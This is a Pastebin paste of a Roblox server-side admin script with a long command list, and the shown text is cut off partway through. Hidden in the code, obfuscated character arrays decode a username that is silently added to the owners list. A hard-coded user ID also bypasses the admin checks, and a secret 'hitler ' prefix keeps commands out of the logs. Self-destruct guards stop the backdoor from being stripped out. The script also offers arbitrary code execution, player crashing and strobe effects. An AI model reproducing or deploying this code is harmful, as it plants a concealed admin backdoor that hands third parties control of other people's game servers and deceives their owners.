Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 121.36 KB | None | 0 0
  1. -- This script has been converted to FE by iPxter
  2.  
  3.  
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  6. do
  7. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  8. script.Parent = Player.Character
  9.  
  10. --RemoteEvent for communicating
  11. local Event = Instance.new("RemoteEvent")
  12. Event.Name = "UserInput_Event"
  13.  
  14. --Fake event to make stuff like Mouse.KeyDown work
  15. local function fakeEvent()
  16. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  17. t.connect = t.Connect
  18. return t
  19. end
  20.  
  21. --Creating fake input objects with fake variables
  22. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  23. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  24. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  25. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  26. end}
  27. --Merged 2 functions into one by checking amount of arguments
  28. CAS.UnbindAction = CAS.BindAction
  29.  
  30. --This function will trigger the events that have been :Connect()'ed
  31. local function te(self,ev,...)
  32. local t = m[ev]
  33. if t and t._fakeEvent and t.Function then
  34. t.Function(...)
  35. end
  36. end
  37. m.TrigEvent = te
  38. UIS.TrigEvent = te
  39.  
  40. Event.OnServerEvent:Connect(function(plr,io)
  41. if plr~=Player then return end
  42. if io.isMouse then
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. else
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = game:GetService("Players").LocalPlayer
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local UIS = game:GetService("UserInputService")
  66. local input = function(io,a)
  67. if a then return end
  68. --Since InputObject is a client-side instance, we create and pass table instead
  69. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  70. end
  71. UIS.InputBegan:Connect(input)
  72. UIS.InputEnded:Connect(input)
  73.  
  74. local Mouse = Player:GetMouse()
  75. local h,t
  76. --Give the server mouse data 30 times every second, but only if the values changed
  77. --If player is not moving their mouse, client won't fire events
  78. while wait(1/30) do
  79. if h~=Mouse.Hit or t~=Mouse.Target then
  80. h,t=Mouse.Hit,Mouse.Target
  81. Event:FireServer({isMouse=true,Target=t,Hit=h})
  82. end
  83. end]==],Player.Character)
  84. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  85. end
  86. -----------------------------------------------------------------------------------------
  87. -- Replace harrypotterfan249 with your name c: --
  88. -----------------------------------------------------------------------------------------
  89. local owners = {"Miming123478"} -- Are able to set admins who can ban/etc... using :pa name
  90. local admins = {"mrfunnylaughs4"} -- Sets admins who can use ban/kick/admin or shutdown
  91. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  92. local banland = {"MasterKhaos"} -- Permanently Bans people
  93. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  94. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  95. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  96. ---------------------
  97. -- VIP Admin --
  98. ---------------------
  99. local VipAdmin = false -- If someone can have admin for owning an item
  100. local ItemId = 0 -- The item they must own in order to have admin
  101. ---------------------
  102. -- Group Admin --
  103. ---------------------
  104. local GroupAdmin = false -- If a certain group can have admin
  105. local GroupId = 0 -- Sets the group id that can have admin
  106. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  107. ---------------------
  108. -- Tips and Tricks --
  109. ---------------------
  110. --[[
  111. With this admin you can do a command on multiple people at a time;
  112. :kill me,noob1,noob2,random,team-raiders,nonadmins
  113.  
  114. You can also use a variety commands for different people;
  115. all
  116. others
  117. me
  118. team-
  119. admins
  120. nonadmins
  121. random
  122. --]]
  123. ---------------------
  124. -- Commands --
  125. ---------------------
  126. --[[
  127. -- |Temp Admin Commands| --
  128. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  129. 1. :s print("Hello World") -- Lets you script normally
  130. 2. :ls print("Hello World") -- Lets you script in localscripts
  131. 3. :clear -- Will remove all scripts/localscripts and jails
  132. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  133. 5. :kill kohl -- Kills the player
  134. 6. :respawn kohl -- Respawns the player
  135. 7. :trip kohl -- Trips the player
  136. 8. :stun kohl -- Stuns the player
  137. 9. :unstun kohl -- Unstuns the player
  138. 10. :jump kohl -- Makes the player jump
  139. 11. :sit kohl -- Makes the player sit
  140. 12. :invisible kohl -- Makes the player invisible
  141. 13. :visible kohl -- Makes the player visible
  142. 14. :explode kohl -- Makes the player explode
  143. 15. :fire kohl -- Sets the player on fire
  144. 16. :unfire kohl -- Removes fire from the player
  145. 17. :smoke kohl -- Adds smoke to the player
  146. 18. :unsmoke kohl -- Removes smoke from the player
  147. 19. :sparkles kohl -- Adds sparkles to the player
  148. 20. :unsparkles kohl -- Removes sparkles from the player
  149. 21. :ff kohl -- Adds a forcefield to the player
  150. 22. :unff kohl -- Removes the forcefield from the player
  151. 23. :punish kohl -- Punishes the player
  152. 24. :unpunish kohl -- Unpunishes the player
  153. 25. :freeze kohl -- Freezes the player
  154. 26. :thaw kohl -- Thaws the player
  155. 27. :heal kohl -- Heals the player
  156. 28. :god kohl -- Makes the player have infinite health
  157. 29. :ungod kohl -- Makes the player have 100 health
  158. 30. :ambient .5 .5 .5 -- Changes the ambient
  159. 31. :brightness .5 -- Changes the brightness
  160. 32. :time 12 -- Changes the time
  161. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  162. 34. :fogend 100 -- Changes the fogend
  163. 35. :fogstart 100 -- Changes the fogstart
  164. 36. :removetools kohl -- Removes all tools from the player
  165. 37. :btools kohl -- Gives the player building tools
  166. 38. :give kohl sword -- Gives the player a tool
  167. 39. :damage kohl -- Damages the player
  168. 40. :grav kohl -- Sets the player's gravity to normal
  169. 41. :setgrav kohl 100 -- Sets the player's gravity
  170. 42. :nograv kohl -- Makes the player have 0 gravity
  171. 43. :health kohl 1337 -- Changes the player's health
  172. 44. :speed kohl 1337 -- Changes the player's walkspeed
  173. 45. :name kohl potato -- Changes the player's name
  174. 46. :unname kohl -- Remove the player's name
  175. 47. :team kohl Raiders -- Changes the player's team
  176. 48. :stopmusic -- Will stop all music playing in the server
  177. 49. :teleport kohl potato -- Teleports the player
  178. 50. :change kohl kills 1337 -- Changes a player's stat
  179. 51. :kick kohl -- Removes the player from the game
  180. 52. :infect kohl -- Turns the player into a zombie
  181. 53. :rainbowify kohl -- Turns the player into a rainbow
  182. 54. :flashify kohl -- Turns the player into a strobe
  183. 55. :noobify kohl -- Turns the player into a noob
  184. 56. :ghostify kohl -- Turns the player into a ghost
  185. 57. :goldify kohl -- Turns the player into gold
  186. 58. :shiny kohl -- Makes the player shiny
  187. 59. :normal kohl -- Puts the player back to normal
  188. 60. :trippy kohl -- Spams random colors on the player's screen
  189. 61. :untrippy kohl -- Untrippys the player
  190. 62. :strobe kohl -- Spams white and black on the player's screen
  191. 63. :unstrobe kohl -- Unstrobes the player
  192. 64. :blind kohl -- Blinds the player
  193. 65. :unblind kohl -- Unblinds the player
  194. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  195. 67. :fling kohl -- Flings the player
  196. 68. :seizure kohl -- Puts the player in a seizure
  197. 69. :music 1337 -- Plays a sound from the ID
  198. 70. :lock kohl -- Locks the player
  199. 71. :unlock kohl -- Unlocks the player
  200. 72. :removelimbs kohl -- Removes the player's limbs
  201. 73. :jail kohl -- Puts the player in a jail
  202. 74. :unjail kohl -- Removes the jail from the player
  203. 75. :fix -- This will fix the lighting to it's original settings
  204. 76. :fly kohl -- Makes the player fly
  205. 77. :unfly kohl -- Removes fly from the player
  206. 78. :noclip kohl -- Makes the player able to noclip
  207. 79. :clip kohl -- Removes noclipping from the player
  208. 80. :pm kohl Hey bro -- Sends the player a private message
  209. 81. :dog kohl -- Turns the player into a dog
  210. 82. :undog kohl -- Turns the player back to normal
  211. 83. :creeper kohl -- Turns the player into a creeper
  212. 84. :uncreeper kohl -- Turns the player back to normal
  213. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  214. 86. :char kohl 261 -- Will make a player look like a different player ID
  215. 87. :unchar kohl -- Will return the player back to normal
  216. 88. :h Hello People -- This will shout a hint to everyone
  217. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  218. 90. :starttools kohl -- Will give the player starter tools
  219. 91. :sword kohl -- Will give the player a sword
  220. 92. :bighead kohl -- Will make the player's head larger than normal
  221. 93. :minihead kohl -- Will make the player's head smaller than normal
  222. 94. :insert 1337 -- Will insert a model at the speaker's position
  223. 95. :disco -- Will make the server flash random colors
  224. 96. :flash -- Will make the server flash
  225. 97. :admins -- Shows the admin list
  226. 98. :bans -- Shows the banlist
  227. 99. :musiclist -- Shows the music list
  228. 100. :spin kohl -- Spins the player
  229. 101. :cape kohl Really black -- Gives the player a colored cape
  230. 102. :uncape kohl -- Removes the player's cape
  231. 103. :loopheal kohl -- Will constantly heal the player
  232. 104. :loopfling kohl -- Will constantly fling the player
  233. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  234. 106. :unloopheal kohl -- Will remove the loopheal on the player
  235. 107. :unloopfling kohl -- Will remove the loopfling on the player
  236. 108. :unspin kohl -- Removes spin from the player
  237. 109. :tools -- Gives a list of the tools in the lighting
  238. 110. :undisco -- Removes disco effects
  239. 111. :unflash -- Removes flash effects
  240. 112. :resetstats kohl -- Sets all the stats of a player to 0
  241. 113. :gear kohl 1337 -- Gives a player a gear
  242. 114. :cmdbar -- Gives the speaker a command bar
  243. 115. :shirt kohl 1337 -- Changes the player's shirt
  244. 116. :pants kohl 1337 -- Changes the player's pants
  245. 117. :face kohl 1337 -- Changes the player's face
  246. 118. :swagify kohl -- Swagifies the player
  247. 119. :version -- Shows the current version of the admin
  248. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  249. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  250. 122. :clone kohl -- Creates a clone of the player
  251. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  252. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  253. 125. :control kohl -- Controls a player
  254.  
  255. -- |Admin Commands| --
  256. - :serverlock -- Locks the server
  257. - :serverunlock -- Unlocks the server
  258. - :sm Hello World -- Creates a system message
  259. - :crash kohl -- Crashes a player
  260. - :admin kohl -- Admins a player
  261. - :unadmin kohl -- Unadmins a player
  262. - :ban kohl -- Bans a player
  263. - :unban kohl -- Unbans a player
  264. - :loopkill kohl -- Will constantly kill the player
  265. - :unloopkill kohl -- Will remove the loopkill on the player
  266. - :logs -- Will show all of the commands any admin has used in a game session
  267. - :shutdown -- Shutsdown the server
  268.  
  269. -- |Owner Commands| --
  270. - :pa kohl -- Makes someone a super admin
  271. - :unpa kohl -- Removes a super admin
  272. - :nuke kohl -- Creates a nuke on kohl
  273.  
  274. -- |True Owner Commands| --
  275. - :oa kohl -- Makes someone an owner
  276. - :unoa kohl -- Removes an owner
  277. - :settings -- Shows settings for the commands
  278. --]]
  279. ---------------------
  280. -- Main Script --
  281. ---------------------
  282. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  283.  
  284. function CHEESE()
  285. if game:service("Lighting"):findFirstChild("KACV2") then
  286. owners = {} admins = {} tempadmins = {} banland = {}
  287. for i,v in pairs(game.Lighting.KACV2:children()) do
  288. if v.Name == "Owner" then table.insert(owners, v.Value) end
  289. if v.Name == "Admin" then table.insert(admins, v.Value) end
  290. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  291. if v.Name == "Banland" then table.insert(banland, v.Value) end
  292. if v.Name == "Prefix" then prefix = v.Value end
  293. if v.Name == "FunCommands" then FunCommands = v.Value end
  294. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  295. if v.Name == "GroupId" then GroupId = v.Value end
  296. if v.Name == "GroupRank" then GroupRank = v.Value end
  297. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  298. if v.Name == "ItemId" then ItemId = v.Value end
  299. end
  300. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  301. end
  302.  
  303. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  304. local lobjs = {}
  305. local objects = {}
  306. local logs = {}
  307. local nfs = ""
  308. local slock = false
  309.  
  310. function GetTime()
  311. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  312. if min < 10 then min = "0"..min end
  313. return hour..":"..min
  314. end
  315.  
  316. function ChkOwner(str)
  317. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  318. return false
  319. end
  320.  
  321. function ChkAdmin(str,ck)
  322. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  323. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  324. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  325. return false
  326. end
  327.  
  328. function ChkGroupAdmin(plr)
  329. if GroupAdmin then
  330. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  331. return false
  332. end
  333. end
  334.  
  335. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  336.  
  337. function GetPlr(plr, str)
  338. local plrz = {} str = str:lower()
  339. if str == "all" then plrz = game.Players:children()
  340. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  341. else
  342. local sn = {1} local en = {}
  343. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  344. for x = 1, #sn do
  345. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  346. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  347. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  348. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  349. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  350. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  351. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  352. end end end
  353. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  354. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  355. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  356. end end end
  357. else
  358. for a, plyr in pairs(game.Players:children()) do
  359. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  360. table.insert(plrz, plyr) break
  361. end
  362. end
  363. end
  364. end
  365. end
  366. return plrz
  367. end
  368.  
  369. function Hint(str, plrz, time)
  370. for i, v in pairs(plrz) do
  371. if v and v:findFirstChild("PlayerGui") then
  372. coroutine.resume(coroutine.create(function()
  373. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  374. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  375. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  376. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  377. if not time then wait((#str/19)+2.5) else wait(time) end
  378. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  379. end))
  380. end
  381. end
  382. end
  383.  
  384. function Message(ttl, str, scroll, plrz, time)
  385. for i, v in pairs(plrz) do
  386. if v and v:findFirstChild("PlayerGui") then
  387. coroutine.resume(coroutine.create(function()
  388. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  389. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  390. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  391. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  392. scr.Parent = v.PlayerGui
  393. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  394. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  395. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  396. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  397. end))
  398. end
  399. end
  400. end
  401.  
  402. function RemoveMessage()
  403. for i,v in pairs(game.Players:children()) do
  404. if v and v:findFirstChild("PlayerGui") then
  405. for q,ms in pairs(v.PlayerGui:children()) do
  406. if ms.Name == "MessageGUI" then
  407. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  408. elseif ms.Name == "HintGUI" then
  409. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  410. end
  411. end
  412. end
  413. end
  414. end
  415.  
  416. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  417. _G["RemoveMessage"] = RemoveMessage()
  418.  
  419. function Output(str, plr)
  420. coroutine.resume(coroutine.create(function()
  421. local b, e = loadstring(str)
  422. if not b and plr:findFirstChild("PlayerGui") then
  423. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  424. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  425. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  426. return
  427. end
  428. end))
  429. end
  430.  
  431. function Noobify(char)
  432. if char and char:findFirstChild("Torso") then
  433. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  434. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  435. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  436. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  437. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  438. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  439. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  440. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  441. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  442. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  443. end end
  444. end
  445. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  446.  
  447. function Infect(char)
  448. if char and char:findFirstChild("Torso") then
  449. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  450. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  451. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  452. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  453. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  454. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  455. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  456. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  457. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  458. end end
  459. end
  460. end if not ntab then script:Destroy() end
  461.  
  462. function ScrollGui()
  463. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  464. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  465. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  466. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  467. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  468. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  469. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  470. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  471. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  472. local num = 0
  473. local downv = false
  474. local upv = false
  475.  
  476. down.MouseButton1Down:connect(function() downv = true upv = false
  477. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  478. repeat pos = pos + UDim2.new(0,0,0,-6)
  479. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  480. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  481. end)
  482. down.MouseButton1Up:connect(function() downv = false end)
  483. up.MouseButton1Down:connect(function() upv = true downv = false
  484. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  485. repeat pos = pos + UDim2.new(0,0,0,6)
  486. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  487. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  488. end)
  489. up.MouseButton1Up:connect(function() upv = false end)
  490. return scr, cmf, ent, num
  491. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  492. if not ntab then script:Destroy() end
  493. if not bct then script:Destroy() end
  494.  
  495. function Chat(msg,plr)
  496. coroutine.resume(coroutine.create(function()
  497. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  498. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  499. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  500. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  501. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  502. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  503. if msg:lower() == "cmds" or msg:lower() == "commands" then
  504. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  505. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
